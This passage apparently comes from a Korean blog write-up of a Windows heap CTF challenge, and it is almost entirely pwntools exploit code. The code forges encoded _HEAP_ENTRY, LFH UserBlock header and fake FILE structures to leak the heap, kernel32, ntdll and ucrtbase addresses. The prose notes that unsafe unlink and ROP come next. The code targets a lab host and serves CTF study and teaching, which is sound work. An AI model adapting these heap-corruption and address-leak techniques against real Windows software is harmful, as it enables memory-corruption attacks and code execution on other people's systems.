	<span class="n">fake_entry</span> <span class="o">=</span> <span class="mh">0x10000027c80101c8</span> <span class="o">^</span> <span class="n">heap_encod</span>
	<span class="s">'''
	0x10000027c80101c8
	   +0x008 Size             : 0x1c8
	   +0x00a Flags            : 0x1 ''
	   +0x00b SmallTagIndex    : 0xc8 ''
	   +0x008 SubSegmentCode   : 0xc80101c8
	   +0x00c PreviousSize     : 0x27
	   +0x00e SegmentOffset    : 0 ''
	   +0x00e LFHFlags         : 0 ''
	   +0x00f UnusedBytes      : 0x10 ''
	'''</span>

	<span class="c1"># log.info("fake XOR'ed _HEAP_ENTRY = 0x%016x" % fake_entry)
</span>
	<span class="n">alloc</span><span class="p">(</span><span class="mi">4</span><span class="p">,</span> <span class="mh">0x1c80</span> <span class="o">-</span>  <span class="c1"># fake chunk size 
</span>	         <span class="mh">0x20</span>   <span class="o">-</span>  <span class="c1"># sizeof(_HEAP_ENTRY) * 2
</span>	         <span class="mh">0x200</span>     <span class="c1"># orginal size of overwritten chunk
</span>	<span class="p">)</span> 
	<span class="n">open_file</span><span class="p">()</span>
	<span class="n">read_file</span><span class="p">(</span><span class="mi">2</span><span class="p">,</span> <span class="mh">0x268</span><span class="p">)</span>
	<span class="n">edit</span><span class="p">(</span><span class="mi">2</span><span class="p">,</span> <span class="s">"A"</span> <span class="o">*</span> <span class="mh">0x268</span> <span class="o">+</span> <span class="n">p64</span><span class="p">(</span><span class="n">fake_entry</span><span class="p">)[:</span><span class="mi">6</span><span class="p">],</span> <span class="bp">False</span><span class="p">)</span>
	<span class="n">free</span><span class="p">(</span><span class="mi">3</span><span class="p">)</span>         <span class="c1"># free coalesce mechanism also free'ing chunk 4
</span>	<span class="n">alloc</span><span class="p">(</span><span class="mi">3</span><span class="p">,</span> <span class="mh">0x200</span><span class="p">)</span> <span class="c1"># set Flink and Blink at chunk 4
</span>
	<span class="n">heap_base</span> <span class="o">=</span> <span class="n">u64</span><span class="p">(</span><span class="n">show</span><span class="p">(</span><span class="mi">4</span><span class="p">)[:</span><span class="mi">8</span><span class="p">].</span><span class="n">ljust</span><span class="p">(</span><span class="mi">8</span><span class="p">,</span> <span class="n">p8</span><span class="p">(</span><span class="mi">0</span><span class="p">)))</span> <span class="o">-</span> <span class="mh">0x150</span>
	<span class="k">if</span> <span class="n">heap_base</span> <span class="o">==</span> <span class="mi">0</span><span class="p">:</span>
		<span class="n">log</span><span class="p">.</span><span class="n">info</span><span class="p">(</span><span class="s">"Heap address not leaked"</span><span class="p">)</span>
		<span class="k">return</span>

	<span class="k">if</span> <span class="n">leakLazy</span><span class="p">:</span>
		<span class="n">cursor</span> <span class="o">=</span> <span class="n">heap_base</span> <span class="o">+</span> <span class="mh">0x27b2</span> <span class="c1"># can't leak null-byte
</span>	<span class="k">elif</span> <span class="n">cursor</span> <span class="o">==</span> <span class="mi">0</span><span class="p">:</span>
		<span class="c1"># default target is ntdll on _HEAP-&gt;LockVariable-&gt;Lock
</span>		<span class="n">cursor</span> <span class="o">=</span> <span class="n">heap_base</span> <span class="o">+</span> <span class="mh">0x2c0</span>
		
	<span class="c1"># log.info("&amp;_HEAP = 0x%016x" % heap_base)
</span>
	<span class="c1"># make LFH to allocate new UserBlock in chunk 4
</span>	<span class="k">for</span> <span class="n">_</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mh">0x14</span><span class="p">):</span>
		<span class="n">open_file</span><span class="p">()</span>

	<span class="n">fake_HEAP_USERDATA_HEADER</span> <span class="o">=</span> <span class="s">""</span>
	<span class="n">fake_HEAP_USERDATA_HEADER</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="n">heap_base</span> <span class="o">+</span> <span class="mh">0xbcd0</span><span class="p">)</span>   <span class="c1"># +0x000 SubSegment
</span>	<span class="n">fake_HEAP_USERDATA_HEADER</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="n">heap_base</span> <span class="o">+</span> <span class="mh">0x12e40</span><span class="p">)</span>  <span class="c1"># +0x008 Reserved
</span>	<span class="n">fake_HEAP_USERDATA_HEADER</span> <span class="o">+=</span> <span class="n">p32</span><span class="p">(</span><span class="mh">0xc</span><span class="p">)</span>                  <span class="c1"># +0x010 SizeIndexAndPadding
</span>	<span class="n">fake_HEAP_USERDATA_HEADER</span> <span class="o">+=</span> <span class="n">p32</span><span class="p">(</span><span class="mh">0xf0e0d0c0</span><span class="p">)</span>           <span class="c1"># +0x014 Signature
</span>	<span class="n">fake_HEAP_USERDATA_HEADER</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span> <span class="o">*</span> <span class="mi">5</span>                <span class="c1"># I couldn't leak other values
</span>
	<span class="n">fake_FILE</span> <span class="o">=</span> <span class="s">""</span>
	<span class="n">fake_FILE</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span> <span class="o">*</span> <span class="mi">2</span>              <span class="c1"># _HEAP_ENTRY
</span>	<span class="n">fake_FILE</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="n">cursor</span><span class="p">)</span>             <span class="c1"># cursor of SEEK_CUR
</span>	<span class="n">fake_FILE</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="n">cursor</span> <span class="o">&amp;</span> <span class="o">~</span><span class="mh">0xfff</span><span class="p">)</span>    <span class="c1"># base address
</span>	<span class="n">fake_FILE</span> <span class="o">+=</span> <span class="n">p32</span><span class="p">(</span><span class="mh">0x800</span><span class="p">)</span>              <span class="c1"># remaining file size
</span>	<span class="n">fake_FILE</span> <span class="o">+=</span> <span class="n">p32</span><span class="p">(</span><span class="mh">0x2041</span><span class="p">)</span>             <span class="c1"># I dunno what they are
</span>	<span class="n">fake_FILE</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0x17</span><span class="p">)</span>				
	<span class="n">fake_FILE</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0x1000</span><span class="p">)</span>
	<span class="n">fake_FILE</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span>
	<span class="n">fake_FILE</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0xffffffffffffffff</span><span class="p">)</span>
	<span class="n">fake_FILE</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0xffffffff</span><span class="p">)</span>
	<span class="n">fake_FILE</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span>
	<span class="n">fake_FILE</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span>

	<span class="n">for_leak</span> <span class="o">=</span> <span class="s">""</span>
	<span class="n">for_leak</span> <span class="o">+=</span> <span class="n">fake_HEAP_USERDATA_HEADER</span>
	<span class="n">for_leak</span> <span class="o">+=</span> <span class="n">fake_FILE</span> <span class="o">*</span> <span class="p">(</span><span class="mh">0x1000</span> <span class="o">/</span> <span class="nb">len</span><span class="p">(</span><span class="n">fake_FILE</span><span class="p">))</span>

	<span class="n">edit</span><span class="p">(</span><span class="mi">4</span><span class="p">,</span> <span class="n">for_leak</span><span class="p">)</span>
	<span class="n">alloc</span><span class="p">(</span><span class="mi">5</span><span class="p">,</span> <span class="n">SIZE</span><span class="p">)</span>
	<span class="k">if</span> <span class="n">leakLazy</span><span class="p">:</span>
		<span class="n">read_file</span><span class="p">(</span><span class="mi">5</span><span class="p">,</span><span class="mi">4</span><span class="p">)</span>
		<span class="n">result</span> <span class="o">=</span> <span class="n">u64</span><span class="p">(</span><span class="n">show</span><span class="p">(</span><span class="mi">5</span><span class="p">)[:</span><span class="mi">4</span><span class="p">].</span><span class="n">ljust</span><span class="p">(</span><span class="mi">8</span><span class="p">,</span> <span class="n">p8</span><span class="p">(</span><span class="mi">0</span><span class="p">)))</span> <span class="o">&lt;&lt;</span> <span class="mi">16</span>
	<span class="k">else</span><span class="p">:</span>
		<span class="n">read_file</span><span class="p">(</span><span class="mi">5</span><span class="p">,</span><span class="mi">8</span><span class="p">)</span>
		<span class="n">result</span> <span class="o">=</span> <span class="n">u64</span><span class="p">(</span><span class="n">show</span><span class="p">(</span><span class="mi">5</span><span class="p">)[:</span><span class="mi">8</span><span class="p">].</span><span class="n">ljust</span><span class="p">(</span><span class="mi">8</span><span class="p">,</span> <span class="n">p8</span><span class="p">(</span><span class="mi">0</span><span class="p">)))</span>

	<span class="k">if</span> <span class="n">disconn</span><span class="p">:</span>
		<span class="n">sla</span><span class="p">(</span><span class="s">"Your choice: "</span><span class="p">,</span> <span class="nb">str</span><span class="p">(</span><span class="mi">6</span><span class="p">))</span>
		<span class="n">hi</span><span class="p">.</span><span class="n">close</span><span class="p">()</span>

	<span class="n">context</span><span class="p">.</span><span class="n">log_level</span> <span class="o">=</span> <span class="s">"info"</span>
	<span class="k">return</span> <span class="n">result</span>

<span class="n">lazy_base</span> <span class="o">=</span> <span class="n">leak</span><span class="p">(</span><span class="n">leakLazy</span><span class="o">=</span><span class="bp">True</span><span class="p">)</span>
<span class="n">log</span><span class="p">.</span><span class="n">info</span><span class="p">(</span><span class="s">"LazyFragmentationHeap = 0x%016x"</span> <span class="o">%</span> <span class="n">lazy_base</span><span class="p">)</span>

<span class="n">kernel32</span> <span class="o">=</span> <span class="n">leak</span><span class="p">(</span><span class="n">lazy_base</span><span class="o">+</span><span class="mh">0x3008</span><span class="p">)</span> <span class="o">-</span> <span class="mh">0x1e690</span>  <span class="c1"># KERNEL32!IsDebuggerPresentStub
</span><span class="n">ntdll</span>    <span class="o">=</span> <span class="n">leak</span><span class="p">(</span><span class="n">lazy_base</span><span class="o">+</span><span class="mh">0x3010</span><span class="p">)</span> <span class="o">-</span> <span class="mh">0x73810</span>  <span class="c1"># ntdll!RtlInitializeSListHead
</span><span class="n">ucrtbase</span> <span class="o">=</span> <span class="n">leak</span><span class="p">(</span><span class="n">lazy_base</span><span class="o">+</span><span class="mh">0x30b0</span><span class="p">)</span> <span class="o">-</span> <span class="mh">0x0f760</span>  <span class="c1"># ucrtbase!free
</span>
<span class="n">log</span><span class="p">.</span><span class="n">info</span><span class="p">(</span><span class="s">"kernel32 = 0x%016x"</span> <span class="o">%</span> <span class="n">kernel32</span><span class="p">)</span>
<span class="n">log</span><span class="p">.</span><span class="n">info</span><span class="p">(</span><span class="s">"ntdll    = 0x%016x"</span> <span class="o">%</span> <span class="n">ntdll</span><span class="p">)</span>
<span class="n">log</span><span class="p">.</span><span class="n">info</span><span class="p">(</span><span class="s">"ucrtbase = 0x%016x"</span> <span class="o">%</span> <span class="n">ucrtbase</span><span class="p">)</span>

<span class="s">'''
[*] LazyFragmentationHeap = 0x00007ff76f400000
[*] kernel32 = 0x00007ffd09140000
[*] ntdll    = 0x00007ffd09b00000
[*] ucrtbase = 0x00007ffd075e0000
'''</span>
</code></pre></div></div>

<p>필요한 모듈주소를 모두 leak 했으니 이제 마지막 익스플로잇 단계만 남았습니다.</p>

<p>공격기법은 <a href="#310-allocate-and-free-non-lfh-chunk">3.10. Allocate and Free Non-LFH chunk</a>에서 언급한대로 Unsafe Unlink 기법을 이용해 R/W primitive를 만들어서 ROP를 해야하는데, 이후의 부분은 LFH보단 일반적인 Heap Feng-Shui에 가깝기 때문에 설명은 코드에 달린 주석으로 생략할려고 합니다.</p>

<p>근데 이거저거 재밌는게 많아서 이부분은 직접 한번 해보시는걸 추천해드립니다!</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>

<span class="c1"># context.log_level = "debug"
</span>
<span class="c1"># HOST = "192.168.56.102" # VirtualBox Host-Only Adapter
</span><span class="n">HOST</span> <span class="o">=</span> <span class="s">"192.168.0.18"</span> <span class="c1"># VirtualBox Bridge 
</span><span class="n">PORT</span> <span class="o">=</span> <span class="mi">6677</span>
<span class="n">SIZE</span> <span class="o">=</span> <span class="mh">0xC8</span> <span class="c1"># yes, I intend korean slang
</span>
<span class="n">hi</span> <span class="o">=</span> <span class="bp">None</span>
<span class="n">sla</span> <span class="o">=</span> <span class="bp">None</span>

<span class="k">def</span> <span class="nf">alloc</span><span class="p">(</span><span class="n">chunk_id</span><span class="p">,</span> <span class="n">size</span><span class="p">):</span>
    <span class="n">sla</span><span class="p">(</span><span class="s">"Your choice: "</span><span class="p">,</span> <span class="nb">str</span><span class="p">(</span><span class="mi">1</span><span class="p">))</span>
    <span class="n">sla</span><span class="p">(</span><span class="s">"Size:"</span><span class="p">,</span> <span class="nb">str</span><span class="p">(</span><span class="n">size</span><span class="p">))</span>
    <span class="n">sla</span><span class="p">(</span><span class="s">"ID:"</span><span class="p">,</span> <span class="nb">str</span><span class="p">(</span><span class="n">chunk_id</span><span class="p">))</span>

<span class="k">def</span> <span class="nf">edit</span><span class="p">(</span><span class="n">chunk_id</span><span class="p">,</span> <span class="n">val</span><span class="p">,</span> <span class="n">need_newline</span><span class="o">=</span><span class="bp">True</span><span class="p">):</span>
    <span class="n">sla</span><span class="p">(</span><span class="s">"Your choice: "</span><span class="p">,</span> <span class="nb">str</span><span class="p">(</span><span class="mi">2</span><span class="p">))</span>
    <span class="n">sla</span><span class="p">(</span><span class="s">"ID:"</span><span class="p">,</span> <span class="nb">str</span><span class="p">(</span><span class="n">chunk_id</span><span class="p">))</span>
    <span class="k">if</span> <span class="n">need_newline</span><span class="p">:</span>
        <span class="n">sla</span><span class="p">(</span><span class="s">"Content:"</span><span class="p">,</span> <span class="n">val</span><span class="p">)</span>
    <span class="k">else</span><span class="p">:</span>
        <span class="n">hi</span><span class="p">.</span><span class="n">sendafter</span><span class="p">(</span><span class="s">"Content:"</span><span class="p">,</span> <span class="n">val</span><span class="p">)</span>

<span class="k">def</span> <span class="nf">show</span><span class="p">(</span><span class="n">chunk_id</span><span class="p">):</span>
    <span class="n">sla</span><span class="p">(</span><span class="s">"Your choice: "</span><span class="p">,</span> <span class="nb">str</span><span class="p">(</span><span class="mi">3</span><span class="p">))</span>
    <span class="n">sla</span><span class="p">(</span><span class="s">"ID:"</span><span class="p">,</span> <span class="nb">str</span><span class="p">(</span><span class="n">chunk_id</span><span class="p">))</span>
    <span class="k">return</span> <span class="n">hi</span><span class="p">.</span><span class="n">recvline</span><span class="p">().</span><span class="n">strip</span><span class="p">()[</span><span class="mi">9</span><span class="p">:]</span>

<span class="k">def</span> <span class="nf">free</span><span class="p">(</span><span class="n">chunk_id</span><span class="p">):</span>
    <span class="n">sla</span><span class="p">(</span><span class="s">"Your choice: "</span><span class="p">,</span> <span class="nb">str</span><span class="p">(</span><span class="mi">4</span><span class="p">))</span>
    <span class="n">sla</span><span class="p">(</span><span class="s">"ID:"</span><span class="p">,</span> <span class="nb">str</span><span class="p">(</span><span class="n">chunk_id</span><span class="p">))</span>

<span class="k">def</span> <span class="nf">open_file</span><span class="p">():</span>
    <span class="n">sla</span><span class="p">(</span><span class="s">"Your choice: "</span><span class="p">,</span> <span class="nb">str</span><span class="p">(</span><span class="mi">5</span><span class="p">))</span>
    <span class="n">sla</span><span class="p">(</span><span class="s">"Your choice: "</span><span class="p">,</span> <span class="nb">str</span><span class="p">(</span><span class="mi">1</span><span class="p">))</span>
    <span class="n">sla</span><span class="p">(</span><span class="s">"Your choice: "</span><span class="p">,</span> <span class="nb">str</span><span class="p">(</span><span class="mi">3</span><span class="p">))</span>

<span class="k">def</span> <span class="nf">read_file</span><span class="p">(</span><span class="n">chunk_id</span><span class="p">,</span> <span class="n">size</span><span class="p">,</span> <span class="n">go_back</span><span class="o">=</span><span class="bp">True</span><span class="p">):</span>
    <span class="n">sla</span><span class="p">(</span><span class="s">"Your choice: "</span><span class="p">,</span> <span class="nb">str</span><span class="p">(</span><span class="mi">5</span><span class="p">))</span>
    <span class="n">sla</span><span class="p">(</span><span class="s">"Your choice: "</span><span class="p">,</span> <span class="nb">str</span><span class="p">(</span><span class="mi">2</span><span class="p">))</span>
    <span class="n">sla</span><span class="p">(</span><span class="s">"ID:"</span><span class="p">,</span> <span class="nb">str</span><span class="p">(</span><span class="n">chunk_id</span><span class="p">))</span>
    <span class="n">sla</span><span class="p">(</span><span class="s">"Size:"</span><span class="p">,</span> <span class="nb">str</span><span class="p">(</span><span class="n">size</span><span class="p">))</span>
    <span class="k">if</span> <span class="n">go_back</span><span class="p">:</span>
        <span class="n">sla</span><span class="p">(</span><span class="s">"Your choice: "</span><span class="p">,</span> <span class="nb">str</span><span class="p">(</span><span class="mi">3</span><span class="p">))</span>


<span class="k">def</span> <span class="nf">persistent_leak</span><span class="p">(</span><span class="n">cursor</span><span class="o">=</span><span class="mi">0</span><span class="p">,</span> <span class="n">disconn</span><span class="o">=</span><span class="bp">True</span><span class="p">,</span> <span class="n">leakLazy</span><span class="o">=</span><span class="bp">False</span><span class="p">):</span>
    <span class="k">global</span> <span class="n">hi</span><span class="p">,</span> <span class="n">sla</span>
    <span class="n">context</span><span class="p">.</span><span class="n">log_level</span> <span class="o">=</span> <span class="s">"error"</span>
    <span class="n">hi</span> <span class="o">=</span> <span class="n">remote</span><span class="p">(</span><span class="n">HOST</span><span class="p">,</span> <span class="n">PORT</span><span class="p">)</span>
    <span class="n">sla</span> <span class="o">=</span> <span class="n">hi</span><span class="p">.</span><span class="n">sendlineafter</span>

    <span class="n">alloc</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="n">SIZE</span><span class="p">)</span>
    <span class="n">edit</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="s">"A"</span> <span class="o">*</span> <span class="n">SIZE</span><span class="p">)</span>
    <span class="k">try</span><span class="p">:</span>
        <span class="n">heap_encod</span> <span class="o">=</span> <span class="n">u64</span><span class="p">(</span><span class="n">show</span><span class="p">(</span><span class="mi">1</span><span class="p">)[</span><span class="n">SIZE</span><span class="p">:]</span> <span class="o">+</span> <span class="s">"</span><span class="se">\x00\x10</span><span class="s">"</span><span class="p">)</span> <span class="o">^</span> <span class="mh">0x1000000d02010003</span>
    <span class="k">except</span> <span class="n">struct</span><span class="p">.</span><span class="n">error</span><span class="p">:</span>
        <span class="n">log</span><span class="p">.</span><span class="n">info</span><span class="p">(</span><span class="s">"_HEAP_ENTRY not leaked"</span><span class="p">)</span>
        <span class="k">return</span>

    <span class="c1"># log.info("_HEAP-&gt;Encoding = 0x%016x" % heap_encod)
</span>
    <span class="n">alloc</span><span class="p">(</span><span class="mi">2</span><span class="p">,</span> <span class="mh">0x268</span><span class="p">)</span>
    <span class="n">alloc</span><span class="p">(</span><span class="mi">3</span><span class="p">,</span> <span class="mh">0x200</span><span class="p">)</span>
    <span class="n">fake_entry</span> <span class="o">=</span> <span class="mh">0x10000027c80101c8</span> <span class="o">^</span> <span class="n">heap_encod</span>
    <span class="s">'''
    0x10000027c80101c8
       +0x008 Size             : 0x1c8
       +0x00a Flags            : 0x1 ''
       +0x00b SmallTagIndex    : 0xc8 ''
       +0x008 SubSegmentCode   : 0xc80101c8
       +0x00c PreviousSize     : 0x27
       +0x00e SegmentOffset    : 0 ''
       +0x00e LFHFlags         : 0 ''
       +0x00f UnusedBytes      : 0x10 ''
    '''</span>

    <span class="c1"># log.info("fake XOR'ed _HEAP_ENTRY = 0x%016x" % fake_entry)
</span>
    <span class="n">alloc</span><span class="p">(</span><span class="mi">4</span><span class="p">,</span> <span class="mh">0x1c80</span> <span class="o">-</span>  <span class="c1"># fake chunk size 
</span>             <span class="mh">0x20</span>   <span class="o">-</span>  <span class="c1"># sizeof(_HEAP_ENTRY) * 2
</span>             <span class="mh">0x200</span>     <span class="c1"># orginal size of overwritten chunk
</span>    <span class="p">)</span> 
    <span class="n">open_file</span><span class="p">()</span>
    <span class="n">read_file</span><span class="p">(</span><span class="mi">2</span><span class="p">,</span> <span class="mh">0x268</span><span class="p">)</span>
    <span class="n">edit</span><span class="p">(</span><span class="mi">2</span><span class="p">,</span> <span class="s">"A"</span> <span class="o">*</span> <span class="mh">0x268</span> <span class="o">+</span> <span class="n">p64</span><span class="p">(</span><span class="n">fake_entry</span><span class="p">)[:</span><span class="mi">6</span><span class="p">],</span> <span class="bp">False</span><span class="p">)</span>
    <span class="n">free</span><span class="p">(</span><span class="mi">3</span><span class="p">)</span>         <span class="c1"># free coalesce mechanism also free'ing chunk 4
</span>    <span class="n">alloc</span><span class="p">(</span><span class="mi">3</span><span class="p">,</span> <span class="mh">0x200</span><span class="p">)</span> <span class="c1"># set Flink and Blink at chunk 4
</span>
    <span class="n">heap_base</span> <span class="o">=</span> <span class="n">u64</span><span class="p">(</span><span class="n">show</span><span class="p">(</span><span class="mi">4</span><span class="p">)[:</span><span class="mi">8</span><span class="p">].</span><span class="n">ljust</span><span class="p">(</span><span class="mi">8</span><span class="p">,</span> <span class="n">p8</span><span class="p">(</span><span class="mi">0</span><span class="p">)))</span> <span class="o">-</span> <span class="mh">0x150</span>
    <span class="k">if</span> <span class="n">heap_base</span> <span class="o">==</span> <span class="mi">0</span><span class="p">:</span>
        <span class="n">log</span><span class="p">.</span><span class="n">info</span><span class="p">(</span><span class="s">"Heap address not leaked"</span><span class="p">)</span>
        <span class="k">return</span>

    <span class="k">if</span> <span class="n">leakLazy</span><span class="p">:</span>
        <span class="n">cursor</span> <span class="o">=</span> <span class="n">heap_base</span> <span class="o">+</span> <span class="mh">0x27b2</span> <span class="c1"># can't leak null-byte
</span>    <span class="k">elif</span> <span class="n">cursor</span> <span class="o">==</span> <span class="mi">0</span><span class="p">:</span>
        <span class="c1"># default target is ntdll on _HEAP-&gt;LockVariable-&gt;Lock
</span>        <span class="n">cursor</span> <span class="o">=</span> <span class="n">heap_base</span> <span class="o">+</span> <span class="mh">0x2c0</span>
        
    <span class="c1"># log.info("&amp;_HEAP = 0x%016x" % heap_base)
</span>
    <span class="c1"># make LFH to allocate new Userblock in chunk 4
</span>    <span class="k">for</span> <span class="n">_</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mh">0x14</span><span class="p">):</span>
        <span class="n">open_file</span><span class="p">()</span>

    <span class="n">fake_HEAP_USERDATA_HEADER</span> <span class="o">=</span> <span class="s">""</span>
    <span class="n">fake_HEAP_USERDATA_HEADER</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="n">heap_base</span> <span class="o">+</span> <span class="mh">0xbcd0</span><span class="p">)</span>   <span class="c1"># +0x000 SubSegment
</span>    <span class="n">fake_HEAP_USERDATA_HEADER</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="n">heap_base</span> <span class="o">+</span> <span class="mh">0x12e40</span><span class="p">)</span>  <span class="c1"># +0x008 Reserved
</span>    <span class="n">fake_HEAP_USERDATA_HEADER</span> <span class="o">+=</span> <span class="n">p32</span><span class="p">(</span><span class="mh">0xc</span><span class="p">)</span>                  <span class="c1"># +0x010 SizeIndexAndPadding
</span>    <span class="n">fake_HEAP_USERDATA_HEADER</span> <span class="o">+=</span> <span class="n">p32</span><span class="p">(</span><span class="mh">0xf0e0d0c0</span><span class="p">)</span>           <span class="c1"># +0x014 Signature
</span>    <span class="n">fake_HEAP_USERDATA_HEADER</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span> <span class="o">*</span> <span class="mi">5</span>                <span class="c1"># I couldn't leak other values
</span>
    <span class="n">fake_FILE</span> <span class="o">=</span> <span class="s">""</span>
    <span class="n">fake_FILE</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span> <span class="o">*</span> <span class="mi">2</span>              <span class="c1"># _HEAP_ENTRY
</span>    <span class="n">fake_FILE</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="n">cursor</span><span class="p">)</span>             <span class="c1"># cursor of SEEK_CUR
</span>    <span class="n">fake_FILE</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="n">cursor</span> <span class="o">&amp;</span> <span class="o">~</span><span class="mh">0xfff</span><span class="p">)</span>    <span class="c1"># base address
</span>    <span class="n">fake_FILE</span> <span class="o">+=</span> <span class="n">p32</span><span class="p">(</span><span class="mh">0x800</span><span class="p">)</span>              <span class="c1"># remaining file size
</span>    <span class="n">fake_FILE</span> <span class="o">+=</span> <span class="n">p32</span><span class="p">(</span><span class="mh">0x2041</span><span class="p">)</span>             <span class="c1"># I dunno what they are
</span>    <span class="n">fake_FILE</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0x17</span><span class="p">)</span>                
    <span class="n">fake_FILE</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0x1000</span><span class="p">)</span>
    <span class="n">fake_FILE</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span>
    <span class="n">fake_FILE</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0xffffffffffffffff</span><span class="p">)</span>
    <span class="n">fake_FILE</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0xffffffff</span><span class="p">)</span>
    <span class="n">fake_FILE</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span>
    <span class="n">fake_FILE</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span>

    <span class="n">for_leak</span> <span class="o">=</span> <span class="s">""</span>
    <span class="n">for_leak</span> <span class="o">+=</span> <span class="n">fake_HEAP_USERDATA_HEADER</span>
    <span class="n">for_leak</span> <span class="o">+=</span> <span class="n">fake_FILE</span> <span class="o">*</span> <span class="p">(</span><span class="mh">0x1000</span> <span class="o">/</span> <span class="nb">len</span><span class="p">(</span><span class="n">fake_FILE</span><span class="p">))</span>

    <span class="n">edit</span><span class="p">(</span><span class="mi">4</span><span class="p">,</span> <span class="n">for_leak</span><span class="p">)</span>
    <span class="n">alloc</span><span class="p">(</span><span class="mi">5</span><span class="p">,</span> <span class="n">SIZE</span><span class="p">)</span>
    <span class="k">if</span> <span class="n">leakLazy</span><span class="p">:</span>
        <span class="n">read_file</span><span class="p">(</span><span class="mi">5</span><span class="p">,</span><span class="mi">4</span><span class="p">)</span>
        <span class="n">result</span> <span class="o">=</span> <span class="n">u64</span><span class="p">(</span><span class="n">show</span><span class="p">(</span><span class="mi">5</span><span class="p">)[:</span><span class="mi">4</span><span class="p">].</span><span class="n">ljust</span><span class="p">(</span><span class="mi">8</span><span class="p">,</span> <span class="n">p8</span><span class="p">(</span><span class="mi">0</span><span class="p">)))</span> <span class="o">&lt;&lt;</span> <span class="mi">16</span>
    <span class="k">else</span><span class="p">:</span>
        <span class="n">read_file</span><span class="p">(</span><span class="mi">5</span><span class="p">,</span><span class="mi">8</span><span class="p">)</span>
        <span class="n">result</span> <span class="o">=</span> <span class="n">u64</span><span class="p">(</span><span class="n">show</span><span class="p">(</span><span class="mi">5</span><span class="p">)[:</span><span class="mi">8</span><span class="p">].</span><span class="n">ljust</span><span class="p">(</span><span class="mi">8</span><span class="p">,</span> <span class="n">p8</span><span class="p">(</span><span class="mi">0</span><span class="p">)))</span>

    <span class="k">if</span> <span class="n">disconn</span><span class="p">:</span>
        <span class="n">sla</span><span class="p">(</span><span class="s">"Your choice: "</span><span class="p">,</span> <span class="nb">str</span><span class="p">(</span><span class="mi">6</span><span class="p">))</span>
        <span class="n">hi</span><span class="p">.</span><span class="n">close</span><span class="p">()</span>

    <span class="n">context</span><span class="p">.</span><span class="n">log_level</span> <span class="o">=</span> <span class="s">"info"</span>
    <span class="k">return</span> <span class="n">result</span>


<span class="n">magic_switch</span> <span class="o">=</span> <span class="bp">True</span>
<span class="k">def</span> <span class="nf">exploit</span><span class="p">():</span>
    <span class="k">global</span> <span class="n">hi</span><span class="p">,</span> <span class="n">sla</span>
    <span class="n">hi</span> <span class="o">=</span> <span class="n">remote</span><span class="p">(</span><span class="n">HOST</span><span class="p">,</span> <span class="n">PORT</span><span class="p">)</span>
    <span class="n">sla</span> <span class="o">=</span> <span class="n">hi</span><span class="p">.</span><span class="n">sendlineafter</span>

    <span class="n">alloc</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="n">SIZE</span><span class="p">)</span>
    <span class="n">edit</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="s">"A"</span> <span class="o">*</span> <span class="n">SIZE</span><span class="p">)</span>
    <span class="k">try</span><span class="p">:</span>
        <span class="n">heap_encod</span> <span class="o">=</span> <span class="n">u64</span><span class="p">(</span><span class="n">show</span><span class="p">(</span><span class="mi">1</span><span class="p">)[</span><span class="n">SIZE</span><span class="p">:]</span> <span class="o">+</span> <span class="s">"</span><span class="se">\x00\x10</span><span class="s">"</span><span class="p">)</span> <span class="o">^</span> <span class="mh">0x1000000d02010003</span>
    <span class="k">except</span> <span class="n">struct</span><span class="p">.</span><span class="n">error</span><span class="p">:</span>
        <span class="n">log</span><span class="p">.</span><span class="n">info</span><span class="p">(</span><span class="s">"_HEAP_ENTRY not leaked"</span><span class="p">)</span>
        <span class="k">return</span>

    <span class="n">alloc</span><span class="p">(</span><span class="mi">2</span><span class="p">,</span> <span class="mh">0x268</span><span class="p">)</span>
    <span class="n">alloc</span><span class="p">(</span><span class="mi">3</span><span class="p">,</span> <span class="mh">0x200</span><span class="p">)</span>
    <span class="n">fake_entry</span> <span class="o">=</span> <span class="mh">0x10000027c80101c8</span> <span class="o">^</span> <span class="n">heap_encod</span>
    <span class="s">'''
    0x10000027c80101c8
       +0x008 Size             : 0x1c8
       +0x00a Flags            : 0x1 ''
